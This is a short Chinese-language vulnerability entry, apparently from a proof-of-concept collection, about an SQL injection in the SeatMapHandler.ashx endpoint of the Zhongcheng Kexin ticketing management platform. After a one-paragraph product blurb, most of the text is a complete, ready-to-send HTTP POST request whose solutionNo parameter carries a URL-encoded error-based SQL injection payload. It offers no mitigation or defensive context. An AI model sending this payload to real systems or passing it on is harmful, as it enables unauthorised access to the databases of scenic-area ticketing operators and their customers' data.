漏洞描述
中成科信票务业务综合管理平台对大数据处理能力，高并发量响应时间、严苛环境稳定性等指标有较高要求。业务综合管理平台具有全方位的票务实时监管和统计功能，对于提高旅游景区的现代化管理水平有着显著的经济效益和社会效率。
中成科信票务管理系统 SeatMapHandler.ashx SQL 注入漏洞
PoC代码
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 318
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Method=GetZoneInfo&solutionNo=%27+AND+7821+IN+%28SELECT+%28CHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28118%29%2BCHAR%28113%29%2B%28SELECT+%28CASE+WHEN+%287821%3D7821%29+THEN+CHAR%2849%29+ELSE+CHAR%2848%29+END%29%29%2BCHAR%28113%29%2BCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28107%29%2BCHAR%28113%29%29%29--+Vjyh